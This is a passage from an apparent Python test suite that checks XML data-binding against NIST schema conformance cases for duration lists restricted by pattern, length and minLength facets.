class_name="NistschemaSvIvListDurationPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_3_nistxml_sv_iv_list_duration_pattern_4_5(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P\d\d34Y0\dM\d7DT1\dH3\dM\d3S P18\d\dY0\dM1\dDT\d2H1\dM0\dS
P18\d\dY1\dM\d3DT\d6H\d7M4\dS P17\d\dY1\dM\d0DT\d8H\d5M\d0S
P\d\d55Y0\dM\d5DT1\dH\d4M1\dS P\d\d22Y\d3M1\dDT1\dH1\dM\d3S
P\d\d14Y1\dM\d9DT\d8H5\dM1\dS P\d\d44Y0\dM\d3DT0\dH\d1M\d1S.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-4-5.xml",
class_name="NistschemaSvIvListDurationPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_2_nistxml_sv_iv_list_duration_pattern_3_1(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P18\d\dY1\dM\d0DT0\dH\d1M3\dS P\d\d87Y0\dM0\dDT\d3H4\dM\d7S
P\d\d19Y0\dM\d6DT\d6H3\dM1\dS P19\d\dY\d5M0\dDT\d0H\d5M\d5S
P19\d\dY1\dM\d3DT\d4H5\dM3\dS P\d\d22Y0\dM\d9DT1\dH2\dM\d1S
P\d\d66Y\d2M\d1DT1\dH3\dM2\dS P\d\d20Y\d6M0\dDT\d5H1\dM\d7S
P17\d\dY\d1M\d4DT1\dH\d3M\d4S P19\d\dY0\dM1\dDT0\dH4\dM4\dS.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-3-1.xml",
class_name="NistschemaSvIvListDurationPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_2_nistxml_sv_iv_list_duration_pattern_3_2(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P18\d\dY1\dM\d0DT0\dH\d1M3\dS P\d\d87Y0\dM0\dDT\d3H4\dM\d7S
P\d\d19Y0\dM\d6DT\d6H3\dM1\dS P19\d\dY\d5M0\dDT\d0H\d5M\d5S
P19\d\dY1\dM\d3DT\d4H5\dM3\dS P\d\d22Y0\dM\d9DT1\dH2\dM\d1S
P\d\d66Y\d2M\d1DT1\dH3\dM2\dS P\d\d20Y\d6M0\dDT\d5H1\dM\d7S
P17\d\dY\d1M\d4DT1\dH\d3M\d4S P19\d\dY0\dM1\dDT0\dH4\dM4\dS.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-3-2.xml",
class_name="NistschemaSvIvListDurationPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_2_nistxml_sv_iv_list_duration_pattern_3_3(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P18\d\dY1\dM\d0DT0\dH\d1M3\dS P\d\d87Y0\dM0\dDT\d3H4\dM\d7S
P\d\d19Y0\dM\d6DT\d6H3\dM1\dS P19\d\dY\d5M0\dDT\d0H\d5M\d5S
P19\d\dY1\dM\d3DT\d4H5\dM3\dS P\d\d22Y0\dM\d9DT1\dH2\dM\d1S
P\d\d66Y\d2M\d1DT1\dH3\dM2\dS P\d\d20Y\d6M0\dDT\d5H1\dM\d7S
P17\d\dY\d1M\d4DT1\dH\d3M\d4S P19\d\dY0\dM1\dDT0\dH4\dM4\dS.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-3-3.xml",
class_name="NistschemaSvIvListDurationPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_2_nistxml_sv_iv_list_duration_pattern_3_4(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P18\d\dY1\dM\d0DT0\dH\d1M3\dS P\d\d87Y0\dM0\dDT\d3H4\dM\d7S
P\d\d19Y0\dM\d6DT\d6H3\dM1\dS P19\d\dY\d5M0\dDT\d0H\d5M\d5S
P19\d\dY1\dM\d3DT\d4H5\dM3\dS P\d\d22Y0\dM\d9DT1\dH2\dM\d1S
P\d\d66Y\d2M\d1DT1\dH3\dM2\dS P\d\d20Y\d6M0\dDT\d5H1\dM\d7S
P17\d\dY\d1M\d4DT1\dH\d3M\d4S P19\d\dY0\dM1\dDT0\dH4\dM4\dS.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-3-4.xml",
class_name="NistschemaSvIvListDurationPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_2_nistxml_sv_iv_list_duration_pattern_3_5(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P18\d\dY1\dM\d0DT0\dH\d1M3\dS P\d\d87Y0\dM0\dDT\d3H4\dM\d7S
P\d\d19Y0\dM\d6DT\d6H3\dM1\dS P19\d\dY\d5M0\dDT\d0H\d5M\d5S
P19\d\dY1\dM\d3DT\d4H5\dM3\dS P\d\d22Y0\dM\d9DT1\dH2\dM\d1S
P\d\d66Y\d2M\d1DT1\dH3\dM2\dS P\d\d20Y\d6M0\dDT\d5H1\dM\d7S
P17\d\dY\d1M\d4DT1\dH\d3M\d4S P19\d\dY0\dM1\dDT0\dH4\dM4\dS.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-3-5.xml",
class_name="NistschemaSvIvListDurationPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_1_nistxml_sv_iv_list_duration_pattern_2_1(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P19\d\dY\d7M\d5DT1\dH\d1M\d8S P20\d\dY0\dM0\dDT\d9H\d9M\d7S
P19\d\dY0\dM0\dDT\d0H5\dM0\dS P18\d\dY\d1M\d8DT\d9H1\dM\d5S
P19\d\dY0\dM2\dDT\d6H2\dM\d5S P\d\d75Y1\dM0\dDT1\dH\d8M\d5S
P17\d\dY\d5M0\dDT\d4H2\dM\d5S P19\d\dY1\dM1\dDT\d8H\d4M3\dS
P\d\d93Y0\dM1\dDT1\dH\d9M\d1S P18\d\dY0\dM0\dDT\d4H\d3M\d1S.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-2-1.xml",
class_name="NistschemaSvIvListDurationPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_1_nistxml_sv_iv_list_duration_pattern_2_2(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P19\d\dY\d7M\d5DT1\dH\d1M\d8S P20\d\dY0\dM0\dDT\d9H\d9M\d7S
P19\d\dY0\dM0\dDT\d0H5\dM0\dS P18\d\dY\d1M\d8DT\d9H1\dM\d5S
P19\d\dY0\dM2\dDT\d6H2\dM\d5S P\d\d75Y1\dM0\dDT1\dH\d8M\d5S
P17\d\dY\d5M0\dDT\d4H2\dM\d5S P19\d\dY1\dM1\dDT\d8H\d4M3\dS
P\d\d93Y0\dM1\dDT1\dH\d9M\d1S P18\d\dY0\dM0\dDT\d4H\d3M\d1S.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-2-2.xml",
class_name="NistschemaSvIvListDurationPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_1_nistxml_sv_iv_list_duration_pattern_2_3(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P19\d\dY\d7M\d5DT1\dH\d1M\d8S P20\d\dY0\dM0\dDT\d9H\d9M\d7S
P19\d\dY0\dM0\dDT\d0H5\dM0\dS P18\d\dY\d1M\d8DT\d9H1\dM\d5S
P19\d\dY0\dM2\dDT\d6H2\dM\d5S P\d\d75Y1\dM0\dDT1\dH\d8M\d5S
P17\d\dY\d5M0\dDT\d4H2\dM\d5S P19\d\dY1\dM1\dDT\d8H\d4M3\dS
P\d\d93Y0\dM1\dDT1\dH\d9M\d1S P18\d\dY0\dM0\dDT\d4H\d3M\d1S.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-2-3.xml",
class_name="NistschemaSvIvListDurationPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_1_nistxml_sv_iv_list_duration_pattern_2_4(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P19\d\dY\d7M\d5DT1\dH\d1M\d8S P20\d\dY0\dM0\dDT\d9H\d9M\d7S
P19\d\dY0\dM0\dDT\d0H5\dM0\dS P18\d\dY\d1M\d8DT\d9H1\dM\d5S
P19\d\dY0\dM2\dDT\d6H2\dM\d5S P\d\d75Y1\dM0\dDT1\dH\d8M\d5S
P17\d\dY\d5M0\dDT\d4H2\dM\d5S P19\d\dY1\dM1\dDT\d8H\d4M3\dS
P\d\d93Y0\dM1\dDT1\dH\d9M\d1S P18\d\dY0\dM0\dDT\d4H\d3M\d1S.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-2-4.xml",
class_name="NistschemaSvIvListDurationPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_1_nistxml_sv_iv_list_duration_pattern_2_5(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P19\d\dY\d7M\d5DT1\dH\d1M\d8S P20\d\dY0\dM0\dDT\d9H\d9M\d7S
P19\d\dY0\dM0\dDT\d0H5\dM0\dS P18\d\dY\d1M\d8DT\d9H1\dM\d5S
P19\d\dY0\dM2\dDT\d6H2\dM\d5S P\d\d75Y1\dM0\dDT1\dH\d8M\d5S
P17\d\dY\d5M0\dDT\d4H2\dM\d5S P19\d\dY1\dM1\dDT\d8H\d4M3\dS
P\d\d93Y0\dM1\dDT1\dH\d9M\d1S P18\d\dY0\dM0\dDT\d4H\d3M\d1S.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-2-5.xml",
class_name="NistschemaSvIvListDurationPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_nistxml_sv_iv_list_duration_pattern_1_1(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P\d\d75Y\d3M\d9DT0\dH\d2M3\dS P19\d\dY0\dM1\dDT0\dH1\dM\d1S
P19\d\dY\d3M2\dDT\d4H\d7M\d7S P\d\d86Y\d9M\d5DT\d6H4\dM\d9S
P19\d\dY\d2M\d2DT\d9H3\dM0\dS P\d\d90Y0\dM2\dDT\d7H2\dM0\dS
P\d\d94Y\d0M1\dDT0\dH1\dM4\dS P\d\d71Y0\dM\d1DT\d3H\d7M4\dS.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-1-1.xml",
class_name="NistschemaSvIvListDurationPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_nistxml_sv_iv_list_duration_pattern_1_2(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P\d\d75Y\d3M\d9DT0\dH\d2M3\dS P19\d\dY0\dM1\dDT0\dH1\dM\d1S
P19\d\dY\d3M2\dDT\d4H\d7M\d7S P\d\d86Y\d9M\d5DT\d6H4\dM\d9S
P19\d\dY\d2M\d2DT\d9H3\dM0\dS P\d\d90Y0\dM2\dDT\d7H2\dM0\dS
P\d\d94Y\d0M1\dDT0\dH1\dM4\dS P\d\d71Y0\dM\d1DT\d3H\d7M4\dS.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-1-2.xml",
class_name="NistschemaSvIvListDurationPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_nistxml_sv_iv_list_duration_pattern_1_3(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P\d\d75Y\d3M\d9DT0\dH\d2M3\dS P19\d\dY0\dM1\dDT0\dH1\dM\d1S
P19\d\dY\d3M2\dDT\d4H\d7M\d7S P\d\d86Y\d9M\d5DT\d6H4\dM\d9S
P19\d\dY\d2M\d2DT\d9H3\dM0\dS P\d\d90Y0\dM2\dDT\d7H2\dM0\dS
P\d\d94Y\d0M1\dDT0\dH1\dM4\dS P\d\d71Y0\dM\d1DT\d3H\d7M4\dS.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-1-3.xml",
class_name="NistschemaSvIvListDurationPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_nistxml_sv_iv_list_duration_pattern_1_4(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P\d\d75Y\d3M\d9DT0\dH\d2M3\dS P19\d\dY0\dM1\dDT0\dH1\dM\d1S
P19\d\dY\d3M2\dDT\d4H\d7M\d7S P\d\d86Y\d9M\d5DT\d6H4\dM\d9S
P19\d\dY\d2M\d2DT\d9H3\dM0\dS P\d\d90Y0\dM2\dDT\d7H2\dM0\dS
P\d\d94Y\d0M1\dDT0\dH1\dM4\dS P\d\d71Y0\dM\d1DT\d3H\d7M4\dS.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-1-4.xml",
class_name="NistschemaSvIvListDurationPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_nistxml_sv_iv_list_duration_pattern_1_5(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P\d\d75Y\d3M\d9DT0\dH\d2M3\dS P19\d\dY0\dM1\dDT0\dH1\dM\d1S
P19\d\dY\d3M2\dDT\d4H\d7M\d7S P\d\d86Y\d9M\d5DT\d6H4\dM\d9S
P19\d\dY\d2M\d2DT\d9H3\dM0\dS P\d\d90Y0\dM2\dDT\d7H2\dM0\dS
P\d\d94Y\d0M1\dDT0\dH1\dM4\dS P\d\d71Y0\dM\d1DT\d3H\d7M4\dS.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-1-5.xml",
class_name="NistschemaSvIvListDurationPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_4_nistxml_sv_iv_list_duration_length_5_1(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-5-1.xml",
class_name="NistschemaSvIvListDurationLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_4_nistxml_sv_iv_list_duration_length_5_2(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-5-2.xml",
class_name="NistschemaSvIvListDurationLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_4_nistxml_sv_iv_list_duration_length_5_3(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-5-3.xml",
class_name="NistschemaSvIvListDurationLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_4_nistxml_sv_iv_list_duration_length_5_4(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-5-4.xml",
class_name="NistschemaSvIvListDurationLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_4_nistxml_sv_iv_list_duration_length_5_5(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-5-5.xml",
class_name="NistschemaSvIvListDurationLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_3_nistxml_sv_iv_list_duration_length_4_1(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-4-1.xml",
class_name="NistschemaSvIvListDurationLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_3_nistxml_sv_iv_list_duration_length_4_2(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-4-2.xml",
class_name="NistschemaSvIvListDurationLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_3_nistxml_sv_iv_list_duration_length_4_3(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-4-3.xml",
class_name="NistschemaSvIvListDurationLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_3_nistxml_sv_iv_list_duration_length_4_4(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-4-4.xml",
class_name="NistschemaSvIvListDurationLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_3_nistxml_sv_iv_list_duration_length_4_5(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-4-5.xml",
class_name="NistschemaSvIvListDurationLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_2_nistxml_sv_iv_list_duration_length_3_1(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-3-1.xml",
class_name="NistschemaSvIvListDurationLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_2_nistxml_sv_iv_list_duration_length_3_2(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-3-2.xml",
class_name="NistschemaSvIvListDurationLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_2_nistxml_sv_iv_list_duration_length_3_3(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-3-3.xml",
class_name="NistschemaSvIvListDurationLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_2_nistxml_sv_iv_list_duration_length_3_4(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-3-4.xml",
class_name="NistschemaSvIvListDurationLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_2_nistxml_sv_iv_list_duration_length_3_5(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-3-5.xml",
class_name="NistschemaSvIvListDurationLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_1_nistxml_sv_iv_list_duration_length_2_1(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-2-1.xml",
class_name="NistschemaSvIvListDurationLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_1_nistxml_sv_iv_list_duration_length_2_2(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-2-2.xml",
class_name="NistschemaSvIvListDurationLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_1_nistxml_sv_iv_list_duration_length_2_3(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-2-3.xml",
class_name="NistschemaSvIvListDurationLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_1_nistxml_sv_iv_list_duration_length_2_4(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-2-4.xml",
class_name="NistschemaSvIvListDurationLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_1_nistxml_sv_iv_list_duration_length_2_5(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-2-5.xml",
class_name="NistschemaSvIvListDurationLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_nistxml_sv_iv_list_duration_length_1_1(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-1-1.xml",
class_name="NistschemaSvIvListDurationLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_nistxml_sv_iv_list_duration_length_1_2(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-1-2.xml",
class_name="NistschemaSvIvListDurationLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_nistxml_sv_iv_list_duration_length_1_3(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-1-3.xml",
class_name="NistschemaSvIvListDurationLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_nistxml_sv_iv_list_duration_length_1_4(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-1-4.xml",
class_name="NistschemaSvIvListDurationLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_length_nistxml_sv_iv_list_duration_length_1_5(mode, save_output, output_format):
"""
Type list/duration is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-length-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-length-1-5.xml",
class_name="NistschemaSvIvListDurationLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_4_nistxml_sv_iv_list_duration_min_length_5_1(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-5-1.xml",
class_name="NistschemaSvIvListDurationMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_4_nistxml_sv_iv_list_duration_min_length_5_2(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-5-2.xml",
class_name="NistschemaSvIvListDurationMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_4_nistxml_sv_iv_list_duration_min_length_5_3(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-5.xsd",
